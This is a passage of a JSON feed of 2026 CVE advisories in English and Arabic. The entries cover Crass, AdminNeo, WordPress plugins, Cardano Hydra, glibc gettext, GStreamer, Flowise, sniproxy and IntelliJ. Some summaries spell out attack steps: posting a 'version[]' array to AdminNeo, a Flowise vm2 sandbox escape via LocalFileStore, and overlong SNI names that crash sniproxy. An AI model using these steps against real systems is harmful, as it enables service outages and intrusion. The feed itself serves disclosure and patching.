0.12.26."},"refs":[["https://github.com/advisories/GHSA-rhj7-vh3v-mcq6","advisory"],["https://github.com/daptin/daptin/commit/2d70950979b51eb6c8b4234dd50558b608ad2ffe","ref"],["https://github.com/daptin/daptin/security/advisories/GHSA-rhj7-vh3v-mcq6","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"github-com-daptin-daptin"},{"id":"CVE-2026-61845","cvss":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-789","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T19:18:28Z","product":"rgrove crass","affected":[],"title":{"en":"Crass: Large numeric exponents cause CPU and memory denial of service","ar":"Crass: الأسس العددية الكبيرة تسبب حجب الخدمة لوحدة المعالجة المركزية والذاكرة"},"summary":{"en":"Crass is a Ruby CSS parser that's fully compliant with the CSS Syntax Level 3 specification. Prior to 1.0.7, Crass converts `CSS scientific notation` number values with unbounded exponentiation before clamping the result to `Float::MAX`. Applications that use Crass to parse attacker-controlled CSS strings can be forced to spend disproportionate CPU and memory parsing a tiny input, potentially resulting in a crash. This issue is fixed in version 1.0.7.","ar":"Crass هو محلل CSS لـ Ruby متوافق تماماً مع مواصفات CSS Syntax Level 3. قبل 1.0.7، يقوم Crass بتحويل قيم أرقام CSS scientific notation مع رفع لأسس غير محددة قبل تثبيت النتيجة على Float::MAX. يمكن إجبار التطبيقات التي تستخدم Crass لتحليل سلاسل CSS التي يتحكم فيها المهاجم على إنفاق وحدة معالجة مركزية وذاكرة غير متناسبتين في تحليل مدخلات صغيرة، مما قد يؤدي إلى تعطل. تم إصلاح هذه المشكلة في الإصدار 1.0.7."},"refs":[["https://github.com/rgrove/crass/commit/ea6726b7f7cf7e85b23aa2240b8512b4f8d11ad9","ref"],["https://github.com/rgrove/crass/releases/tag/v1.0.7","ref"],["https://github.com/rgrove/crass/security/advisories/GHSA-6wmf-3r64-vcwv","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"rgrove-crass"},{"id":"CVE-2026-59978","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T18:53:08Z","product":"adminneo-org/adminneo","affected":[[">= 4.6.2, < 5.5.0","5.5.0"]],"title":{"en":"AdminNeo: version-cache array injection causes persistent denial of service","ar":"ثغرة عالية الخطورة في adminneo-org/adminneo"},"summary":{"en":"### Summary AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours. Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted. ### Workaround If you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server. ### Details #### 1. Intended design of `?script=version` The endpoint is designed to receive version data from GitHub via browser JavaScript. - `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX. - JavaScript POSTs version number to `?script=version`. - Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours. ```js // function.js lines 119-120 const data = 'version=' + version + '&token=' + token; ajax(baseUrl + 'script=version', null, data); ``` #### 2. The vulnerability The endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate: - Request origin (CSRF token is present, but not checked for this endpoint) - Request source (any HTTP client can POST) - Parameter types (`version` expected as string, array not rejected) ```php // bootstrap.inc.php lines 44-53 if ($_GET[\"script\"] == \"version\") { $filename = get_temp_dir() . \"/adminneo.version\"; @unlink($filename); // It may not be writable by us, @ - it may not exist. $file = open_file_with_lo…","ar":"### Summary AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours. Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted. ### Workaround If you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server. ### Details #### 1. Intended design of `?script=version` The endpoint is designed to receive version data from GitHub via browser JavaScript. - `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX. - JavaScript POSTs version number to `?script=version`. - Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours. ```js // function.js lines 119-120 const data = 'version=' + version + '&token=' + token; ajax(baseUrl + 'script=version', null, data); ``` #### 2. The vulnerability The endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate: - Request origin (CSRF token is present, but not checked for this endpoint) - Request source (any HTTP client can POST) - Parameter types (`version` expected as string, array not rejected) ```php // bootstrap.inc.php lines 44-53 if ($_GET[\"script\"] == \"version\") { $filename = get_temp_dir() . \"/adminneo.version\"; @unlink($filename); // It may not be writable by us, @ - it may not exist. $file = open_file_with_lo…"},"refs":[["https://github.com/advisories/GHSA-jm85-8cpp-9cjc","advisory"],["https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc","ref"],["https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907","ref"],["https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0","ref"]],"epss":0.0065,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"adminneo-org-adminneo"},{"id":"CVE-2026-118086","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-266","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:30:54Z","product":"Hakan Ozevin WP BASE Booking","affected":[[" – 6.5.2",null]],"title":{"en":"WordPress WP BASE Booking plugin <= 6.5.2 - Privilege Escalation vulnerability","ar":"ثغرة تصعيد الصلاحيات في إضافة WordPress WP BASE Booking <= 6.5.2"},"summary":{"en":"Subscriber Privilege Escalation in WP BASE Booking <= 6.5.2 versions.","ar":"تصعيد صلاحيات المشترك في إصدارات WP BASE Booking <= 6.5.2."},"refs":[["https://patchstack.com/database/wordpress/plugin/wp-base-booking-of-appointments-services-and-events/vulnerability/wordpress-wp-base-booking-plugin-6-5-2-privilege-escalation-vulnerability?_s_id=cve","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hakan-ozevin-wp-base-booking"},{"id":"CVE-2026-116852","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:30:50Z","product":"Marketing Fire Widget Options","affected":[[" – 4.2.5",null]],"title":{"en":"WordPress Widget Options plugin <= 4.2.5 - Remote Code Execution (RCE) vulnerability","ar":"ثغرة تنفيذ أوامر عن بُعد (RCE) في إضافة WordPress Widget Options <= 4.2.5"},"summary":{"en":"Author Remote Code Execution (RCE) in Widget Options <= 4.2.5 versions.","ar":"تنفيذ أوامر عن بُعد (RCE) للمؤلف في إصدارات Widget Options <= 4.2.5."},"refs":[["https://patchstack.com/database/wordpress/plugin/widget-options/vulnerability/wordpress-widget-options-plugin-4-2-5-remote-code-execution-rce-vulnerability?_s_id=cve","ref"]],"epss":0.006,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"marketing-fire-widget-options"},{"id":"CVE-2026-116401","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:30:47Z","product":"RealMag777 HUSKY","affected":[[" – 1.4.6",null]],"title":{"en":"WordPress HUSKY plugin <= 1.4.6 - Broken Access Control vulnerability","ar":"ثغرة التحكم المكسور في الوصول في إضافة WordPress HUSKY <= 1.4.6"},"summary":{"en":"Unauthenticated Broken Access Control in HUSKY <= 1.4.6 versions.","ar":"تحكم مكسور في الوصول دون مصادقة في إصدارات HUSKY <= 1.4.6."},"refs":[["https://patchstack.com/database/wordpress/plugin/woocommerce-products-filter/vulnerability/wordpress-husky-plugin-1-4-6-broken-access-control-vulnerability?_s_id=cve","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"realmag777-husky"},{"id":"CVE-2026-78527","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:30:40Z","product":"GS Plugins GS Testimonial Slider","affected":[[" – 3.3.10",null]],"title":{"en":"WordPress GS Testimonial Slider plugin <= 3.3.10 - PHP Object Injection vulnerability","ar":"ثغرة حقن كائنات PHP في إضافة WordPress GS Testimonial Slider <= 3.3.10"},"summary":{"en":"Contributor PHP Object Injection in GS Testimonial Slider <= 3.3.10 versions.","ar":"حقن كائنات PHP للمساهم في إصدارات GS Testimonial Slider <= 3.3.10."},"refs":[["https://patchstack.com/database/wordpress/plugin/gs-testimonial/vulnerability/wordpress-gs-testimonial-slider-plugin-3-3-10-php-object-injection-vulnerability?_s_id=cve","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"gs-plugins-gs-testimonial-slider"},{"id":"CVE-2026-48201","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:30:36Z","product":"Raul P. Fast Velocity Minify","affected":[[" – 3.5.7",null]],"title":{"en":"WordPress Fast Velocity Minify plugin <= 3.5.7 - Cross Site Scripting (XSS) vulnerability","ar":"ثغرة البرمجة النصية عبر المواقع (XSS) في إضافة WordPress Fast Velocity Minify للإصدارات 3.5.7 أو الأقل"},"summary":{"en":"Unauthenticated Cross Site Scripting (XSS) in Fast Velocity Minify <= 3.5.7 versions.","ar":"ثغرة برمجة نصية عبر المواقع (XSS) دون مصادقة في إصدارات Fast Velocity Minify 3.5.7 أو الأقل."},"refs":[["https://patchstack.com/database/wordpress/plugin/fast-velocity-minify/vulnerability/wordpress-fast-velocity-minify-plugin-3-5-7-cross-site-scripting-xss-vulnerability?_s_id=cve","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"raul-p-fast-velocity-minify"},{"id":"CVE-2026-39738","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:30:34Z","product":"Aman FunnelKit Automations","affected":[["0 – 3.8.6.1",null]],"title":{"en":"WordPress FunnelKit Automations plugin <= 3.8.6.1 - PHP Object Injection vulnerability","ar":"ثغرة PHP Object Injection في إضافة WordPress FunnelKit Automations الإصدار 3.8.6.1 وما قبله"},"summary":{"en":"Deserialization of Untrusted Data vulnerability in Aman FunnelKit Automations wp-marketing-automations allows Object Injection.This issue affects FunnelKit Automations: from n/a through 3.8.6.1.","ar":"تسمح ثغرة Deserialization of Untrusted Data في Aman FunnelKit Automations wp-marketing-automations بـ Object Injection. تؤثر هذه المشكلة على FunnelKit Automations: من n/a حتى 3.8.6.1."},"refs":[["https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-funnelkit-automations-plugin-3-8-6-1-php-object-injection-vulnerability?_s_id=cve","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aman-funnelkit-automations"},{"id":"CVE-2026-28160","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:30:32Z","product":"e4jvikwp VikRentCar","affected":[[" – 1.4.10",null],["0 – 1.4.10",null]],"title":{"en":"WordPress VikRentCar plugin <= 1.4.10 - Cross Site Scripting (XSS) vulnerability","ar":"ثغرة البرمجة النصية عبر المواقع (XSS) في إضافة WordPress VikRentCar للإصدارات 1.4.10 أو الأقل"},"summary":{"en":"Unauthenticated Cross Site Scripting (XSS) in VikRentCar <= 1.4.10 versions.","ar":"ثغرة برمجة نصية عبر المواقع (XSS) دون مصادقة في إصدارات VikRentCar 1.4.10 أو الأقل."},"refs":[["https://patchstack.com/database/wordpress/plugin/vikrentcar/vulnerability/wordpress-vikrentcar-plugin-1-4-10-cross-site-scripting-xss-vulnerability?_s_id=cve","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"e4jvikwp-vikrentcar"},{"id":"CVE-2026-62162","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:30:20Z","product":"cardano-scaling hydra","affected":[],"title":{"en":"Hydra: Deposit Claim omits Head state-token spending requirement","ar":"Hydra: عملية المطالبة بالإيداع تتغاضى عن متطلبات إنفاق رمز حالة Head"},"summary":{"en":"Hydra is a layer-two scalability solution for Cardano. Prior to 2.1.0, the `Claim` branch in `hydra-plutus/validators/deposit.ak` checks only that `datum.head_id` matches the attacker-controlled `redeemer.currencySymbol` and that the transaction is valid before the deposit deadline. It neither requires spending the Head state-token UTxO in the same transaction nor constrains outputs. After a deposit made through `POST /commit` is confirmed, any third party able to build a Cardano transaction can observe and consume the pending deposit UTxO before its deadline and redirect the assets to an arbitrary address. A standalone deposit spend invokes no Head validator, bypassing its safety checks; historical head-ID binding and the Aiken rewrite retained this missing invariant. The default deadline is three times depositPeriod, so the described attack applies to pending deposits before that deadline. This issue is fixed in version 2.1.0.","ar":"Hydra هو حل قابل للتوسع من الطبقة الثانية لشبكة Cardano. قبل الإصدار 2.1.0، يتحقق فرع `Claim` في الملف `hydra-plutus/validators/deposit.ak` فقط من أن `datum.head_id` يطابق `redeemer.currencySymbol` الذي يسيطر عليه المهاجم، وأن المعاملة صالحة قبل الموعد النهائي للإيداع. إنه لا يتطلب إنفاق رمز حالة Head UTxO في نفس المعاملة ولا يقيّد المخرجات. بعد تأكيد الإيداع الذي تم من خلال `POST /commit`، يمكن لأي طرف ثالث قادر على بناء معاملة Cardano مراقبة واستهلاك إيداع UTxO المعلق قبل موعده النهائي وإعادة توجيه الأصول إلى عنوان عشوائي. لا يؤدي إنفاق الإيداع المستقل إلى استدعاء أي مدقق لـ Head، مما يتجاوز فحوصات الأمان الخاص به؛ وقد احتفظ ربط معرف Head التاريخي وإعادة كتابة Aiken بهذا الثابت المفقود. الموعد النهائي الافتراضي هو ثلاثة أضعاف depositPeriod، لذا فإن الهجوم الموصوف ينطبق على الودائع المعلقة قبل هذا الموعد النهائي. تم إصلاح هذه المشكلة في الإصدار 2.1.0."},"refs":[["https://github.com/cardano-scaling/hydra/security/advisories/GHSA-gfpc-m687-p7h5","ref"],["https://github.com/cardano-scaling/hydra/commit/ff60e4af4ecf05545a696a6d9bf1afeffe991de0","ref"],["https://github.com/cardano-scaling/hydra/releases/tag/2.1.0","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"cardano-scaling-hydra"},{"id":"CVE-2026-84243","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T18:18:13Z","product":"The GNU C Library glibc","affected":[["2.0",null]],"title":{"en":"gettext: Directory traversal via the LANGUAGE environment variable","ar":"gettext: التخطي عبر الأدلة بواسطة متغيّر البيئة LANGUAGE"},"summary":{"en":"The gettext family of functions in the GNU C Library version 2.0 and later accept LANGUAGE environment variable entries that contain '/' or that are equal to \"..\", unless the program is setuid or setgid (AT_SECURE). An attacker who can set LANGUAGE in the environment of a program that uses gettext can make it load a message catalog (.mo file) from an arbitrary location in the file system. A crafted .mo file can crash the program through out-of-range offsets, or supply translations whose format directives do not match the arguments passed by the program. That causes undefined behaviour in the printf family of functions and may allow arbitrary code execution with the privileges of the program. The safety of message catalogs relies on them being installed in trusted, read-only locations, and the directory traversal bypasses this. The fix for CVE-2014-0475 rejects \"..\" path components in locale names passed to setlocale or taken from the LC_ALL, LC_* and LANG environment variables. gettext reads LANGUAGE directly and appends each colon-separated entry to the message catalog directory, so that fix did not cover LANGUAGE. LANGUAGE is only used when the LC_MESSAGES locale is not \"C\", \"C.<encoding>\" or \"POSIX\", so the attacker must also be able to select another installed locale, for example through LANG or LC_ALL. Exploitation also requires that the attacker can place the crafted file in a location readable by the target program, and that the environment crosses a trust boundary without the program running as AT_SECURE. An example is an SSH server that accepts LANGUAGE and LANG from clients through the AcceptEnv directive and restricts an account to a forced command; the attacker may use this to escape the restriction.","ar":"تقبل عائلة الدوال gettext في GNU C Library الإصدار 2.0 وما بعده مدخلات متغيّر البيئة LANGUAGE التي تحتوي على '/' أو التي تساوي \"..\"، ما لم يكن البرنامج مصممًا بخصائص setuid أو setgid (أي AT_SECURE). يمكن للمهاجم الذي يستطيع تعيين LANGUAGE في بيئة برنامج يستخدم gettext جعله يحمّل كتالوج رسائل (ملف .mo) من أي موقع اختياري في نظام الملفات. يمكن لملف .mo المصنوع إحداث انهيار للبرنامج من خلال إزاحات خارج النطاق، أو تقديم ترجمات لا تتوافق موجهات التنسيق فيها مع الوسائط الممررة بواسطة البرنامج. يتسبب ذلك في سلوك غير محدد في عائلة الدوال printf وقد يسمح بـ تنفيذ شيفرة عشوائية بصلاحيات البرنامج. يعتمد أمان كتالوجات الرسائل على تثبيتها في مواقع موثوقة للقراءة فقط، ويتخطى التخطي عبر الأدلة هذا الأمان. ينص الإصلاح الخاص بـ CVE-2014-0475 على رفض مكونات المسار \"..\" في أسماء الإعدادات المحلية الممررة إلى setlocale أو المأخوذة من متغيّرات البيئة LC_ALL و LC_* و LANG. يقرأ gettext متغيّر LANGUAGE مباشرةً ويضيف كل إدخال مفصول بنقطتين إلى دليل كتالوج الرسائل، لذا لم يغطِ هذا الإصلاح متغيّر LANGUAGE. يُستخدم LANGUAGE فقط عندما لا تكون إعدادات LC_MESSAGES المحلية هي \"C\" أو \"C.<encoding>\" أو \"POSIX\"، لذا يجب أن يكون المهاجم قادرًا أيضًا على تحديد إعدادات محلية مثبتة أخرى، على سبيل المثال من خلال LANG أو LC_ALL. يستلزم الاستغلال أيضًا قدرة المهاجم على وضع الملف المصنوع في موقع قابل للقراءة بواسطة البرنامج المستهدف، وأن تعبر البيئة حد الثقة دون أن يعمل البرنامج بصفة AT_SECURE. ومثال على ذلك خادم SSH الذي يقبل LANGUAGE و LANG من العملاء عبر توجيه AcceptEnv ويقيد الحساب بأمر إجباري؛ قد يستخدم المهاجم هذا للإفلات من القيد."},"refs":[["https://inbox.sourceware.org/libc-alpha/20261012112453.47383-1-avinal.xlvii@gmail.com","patch"],["https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=advisories/GLIBC-SA-2026-0025","advisory"],["https://sourceware.org/bugzilla/show_bug.cgi?id=17142","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"the-gnu-c-library-glibc"},{"id":"CVE-2026-119777","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T18:17:27Z","product":"Red Hat Red Hat Enterprise Linux 10","affected":[["1.25.1 – <1.28.2","1.28.2"]],"title":{"en":"Gstreamer1-plugins-bad-free: gstreamer1-plugins-bad-free: stack buffer overflow in h.266/vvc parser","ar":"Gstreamer1-plugins-bad-free: gstreamer1-plugins-bad-free: فيضان المخزن المؤقت المكدس في محلل h.266/vvc"},"summary":{"en":"A flaw was found in GStreamer's gst-plugins-bad H.266/VVC parser. When processing a malformed H.266 media file or stream, an integer overflow while parsing profile, tier, and level fields can lead to a stack-based buffer overflow. An attacker could cause an application to crash and may be able to execute code in the context of the affected application.","ar":"تم العثور على خلل في محلل H.266/VVC الخاص بـ gst-plugins-bad في GStreamer. عند معالجة ملف وسائط أو دفق H.266 مشوه، يمكن أن يؤدي طفح الأعداد الصحيحة أثناء تحليل حقول profile و tier و level إلى فيضان المخزن المؤقت القائم على المكدس. يمكن للمهاجم التسبب في انهيار التطبيق وقد يتمكن من تنفيذ شيفرة في سياق التطبيق المتأثر."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-119777","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2564164","ref"],["https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/11241","ref"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-enterprise-linux"},{"id":"CVE-2026-119978","cvss":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-749","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:17:27Z","product":"FlowiseAI Flowise","affected":[["0 – 3.1.4",null]],"title":{"en":"Flowise through 3.1.4 Custom Function Sandbox Escape RCE via LocalFileStore","ar":"Flowise حتى 3.1.4: الهروب من بيئة المعزولة للوظائف المخصصة وتنفيذ أوامر عن بُعد عبر LocalFileStore"},"summary":{"en":"Flowise through 3.1.4 contains a sandbox escape vulnerability that allows authenticated users to execute OS commands by abusing allowlisted langchain and mammoth modules when ALLOW_BUILTIN_DEP=true. Attackers can submit JavaScript to /api/v1/node-custom-function that writes a file into the mammoth package via LocalFileStore and requires it, escaping vm2 as the Flowise process user.","ar":"يحتوي Flowise حتى الإصدار 3.1.4 على ثغرة هروب من بيئة المعزولة تسمح للمستخدمين المصادق عليهم بتنفيذ أوامر نظام التشغيل من خلال إساءة استخدام وحدات langchain و mammoth المدرجة في القائمة المسموح بها عندما تكون ALLOW_BUILTIN_DEP=true. يمكن للمهاجمين تقديم JavaScript إلى /api/v1/node-custom-function لكتابة ملف داخل حزمة mammoth عبر LocalFileStore واستدعائه عبر require، مما يتيح الهروب من vm2 بمستوى مستخدم عملية Flowise."},"refs":[["https://www.vulncheck.com/advisories/flowise-through-3.1.4-custom-function-sandbox-escape-rce-via-localfilestore","advisory"],["https://github.com/FlowiseAI/Flowise","ref"],["https://github.com/FlowiseAI/Flowise/blob/a65f81bb43ef66d3ce734bf0dff4223ae8041c95/packages/components/src/utils.ts#L1733","ref"],["https://github.com/FlowiseAI/Flowise/blob/a65f81bb43ef66d3ce734bf0dff4223ae8041c95/packages/components/src/utils.ts#L55-L114","ref"],["https://github.com/advisories/GHSA-9gvv-qjj3-2p6g","ref"],["https://github.com/soovwv/cve/blob/a37354aff1e78c0601772e7716f5318c473e8640/CVE-2026-119978.md","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"flowiseai-flowise"},{"id":"CVE-2026-119619","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:17:26Z","product":"37954679 cak-filemanagement-system","affected":[["5e6433246475e66462e1fea980688de96a049297",null]],"title":{"en":"37954679 cak-filemanagement-system save_student.php mysqli_query sql injection","ar":"ثغرة عالية الخطورة في 37954679 cak-filemanagement-system"},"summary":{"en":"A vulnerability was found in 37954679 cak-filemanagement-system up to 5e6433246475e66462e1fea980688de96a049297. This affects the function mysqli_query of the file admin/save_student.php. Performing a manipulation of the argument date/department/subject/forwarded_to/action_taken_by/section/password results in sql injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.","ar":"A vulnerability was found in 37954679 cak-filemanagement-system up to 5e6433246475e66462e1fea980688de96a049297. This affects the function mysqli_query of the file admin/save_student.php. Performing a manipulation of the argument date/department/subject/forwarded_to/action_taken_by/section/password results in sql injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet."},"refs":[["https://vuldb.com/cve/CVE-2026-119619","advisory"],["https://vuldb.com/submit/1026374","advisory"],["https://github.com/37954679/cak-filemanagement-system/","ref"],["https://github.com/37954679/cak-filemanagement-system/issues/1","ref"],["https://vuldb.com/vuln/429058","ref"],["https://vuldb.com/vuln/429058/cti","ref"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"37954679-cak-filemanagement-system"},{"id":"CVE-2026-119760","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-476","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T18:17:26Z","product":"dlundquist sniproxy","affected":[["0 – 0.7.0",null]],"title":{"en":"sniproxy through 0.7.0 NULL Pointer Dereference via resolv_cancel()","ar":"sniproxy حتى 0.7.0: إلغاء مرجع المؤشر الخالي عبر resolv_cancel()"},"summary":{"en":"sniproxy through 0.7.0 contains a NULL pointer dereference vulnerability in resolv_cancel() that allows remote unauthenticated attackers to crash the daemon by sending overlong hostnames. Attackers can send a 254 or 255 character TLS SNI name or HTTP Host header matching a wildcard backend, then close the connection to terminate the proxy.","ar":"يحتوي sniproxy حتى الإصدار 0.7.0 على ثغرة إلغاء مرجع المؤشر الخالي (NULL Pointer Dereference) في resolv_cancel() تسمح للمهاجمين عن بُعد دون مصادقة بالتسبب في انهيار الخادم الخفي عبر إرسال أسماء مضيفين طويلة جدًا. يمكن للمهاجمين إرسال اسم TLS SNI يتكون من 254 أو 255 حرفًا أو ترويسة HTTP Host تطابق نهاية خلفية ببطاقة بدل، ثم إغلاق الاتصال لإنهاء الخادم الوكيل."},"refs":[["https://github.com/renaudallard/sniproxy/commit/17986ba7397297313331297cac3b9eb3f0ba96b7","patch"],["https://github.com/renaudallard/sniproxy/commit/d5d78290c8fe15d9aa12185d2c57739b7b0c6a6b","patch"],["https://www.vulncheck.com/advisories/sniproxy-through-0.7.0-null-pointer-dereference-via-resolv-cancel","advisory"],["https://github.com/dlundquist/sniproxy","ref"],["https://github.com/dlundquist/sniproxy/blob/1cc625ea41796695a54593d1bd779366b82b8b4e/src/connection.c#L737-L738","ref"],["https://github.com/dlundquist/sniproxy/blob/1cc625ea41796695a54593d1bd779366b82b8b4e/src/resolv.c#L219-L224","ref"],["https://github.com/dlundquist/sniproxy/issues/411","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dlundquist-sniproxy"},{"id":"CVE-2026-118696","cvss":8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-299","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T18:17:24Z","product":"JetBrains IntelliJ IDEA","affected":[["2026.2 – <2026.2.4","2026.2.4"],["2026.1 – <2026.1.5.1","2026.1.5.1"],["0 – <2025.3.6.2","2025.3.6.2"],["0 – <2025.3.5.2","2025.3.5.2"],["2026.1 – <2026.1.5.3","2026.1.5.3"],["0 – <2025.3.5.3","2025.3.5.3"],["2026.2 – <2026.2.4.1","2026.2.4.1"],["2026.1 – <2026.1.5.2","2026.1.5.2"],["0 – <2025.3.6.3","2025.3.6.3"],["2026.2 – <2026.2.6.1","2026.2.6.1"],["2026.1 – <2026.1.4.1","2026.1.4.1"],["0 – <2025.3.6.1","2025.3.6.1"]],"title":{"en":"In JetBrains IntelliJ IDEA, PyCharm, PhpStorm, RubyMine and WebStorm before 2026.3, 2026.2.4, 2026.1.5.1, and 2025.3.6.2; GoLand before 2026.3, 2026.2","ar":"في منتجات JetBrains IntelliJ IDEA و PyCharm و PhpStorm و RubyMine و WebStorm للإصدارات السابقة لـ 2026.3، 2026.2.4، 2026.1.5.1، و 2025.3.6.2؛ 